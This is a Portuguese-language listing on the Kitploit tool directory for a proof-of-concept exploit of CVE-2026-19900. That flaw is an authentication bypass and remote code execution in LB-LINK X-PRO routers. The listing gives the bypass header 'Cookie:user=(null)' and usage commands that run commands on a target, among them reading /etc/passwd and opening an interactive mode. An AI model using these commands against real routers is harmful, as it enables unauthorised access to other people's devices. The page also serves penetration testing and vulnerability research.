Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-19900-PoC — Prova de conceito de exploit para CVE-2026-19900, uma vulnerabilidade de bypass de autenticação e execução remota de código em roteadores LB-LINK X-PRO, permitindo execução de comandos por meio de um cookie de usuário nulo manipulado. | Kitploit
Ferramentas/GitHubGitHub/on3sk-0x1/cve-2026-19900-poc
Segurança IoTAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticação
GitHubon3sk-0x1/cve-2026-19900-poc

cve-2026-19900-PoC

Prova de conceito de exploit para CVE-2026-19900, uma vulnerabilidade de bypass de autenticação e execução remota de código em roteadores LB-LINK X-PRO, permitindo execução de comandos por meio de um cookie de usuário nulo manipulado.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 5h 11mAinda não revisado

CVE-2026-19900 LB-LINK X-PRO Bypass de Autenticação e RCE via usuário nulo

CVE-2026-19900 Credencial Fixa e Bypass de Autenticação RCE via usuário nulo.

Bypass via Header: Cookie:user=(null)

Uso

Compile e execute o script com um host alvo:

root@kitploit:~
go build cve-2026-19900-PoC.go
./cve-2026-19900-PoC -t http://target:8080/ -c "id"

Sem compilar

root@kitploit:~
go run cve-2026-19900-PoC.go -t http://target:8080/ -c "cat /etc/passwd"

Modo interativo

root@kitploit:~
./cve-2026-19900-PoC -t http://target:8080/ -i

Argumentos

  • -t: Endereço IP ou hostname do alvo (obrigatório)
  • -c: Enviar payload de comando
  • -i: Modo interativo (não é necessário -c <cmd>)

Template Nuclei: (Template por 0x_Akoko)

https://cloud.projectdiscovery.io/library/CVE-2026-19900

Referência

https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md https://nvd.nist.gov/vuln/detail/CVE-2026-19900 https://github.com/DavCloudz/cve/blob/main/B-Link/B-Link%20AC1200%20X-PRO(AC6)%20Hardcoded%20Credentials%20Vulnerability.md https://vuldb.com/cve/CVE-2026-19900 https://vuldb.com/submit/870712

Baixar ferramenta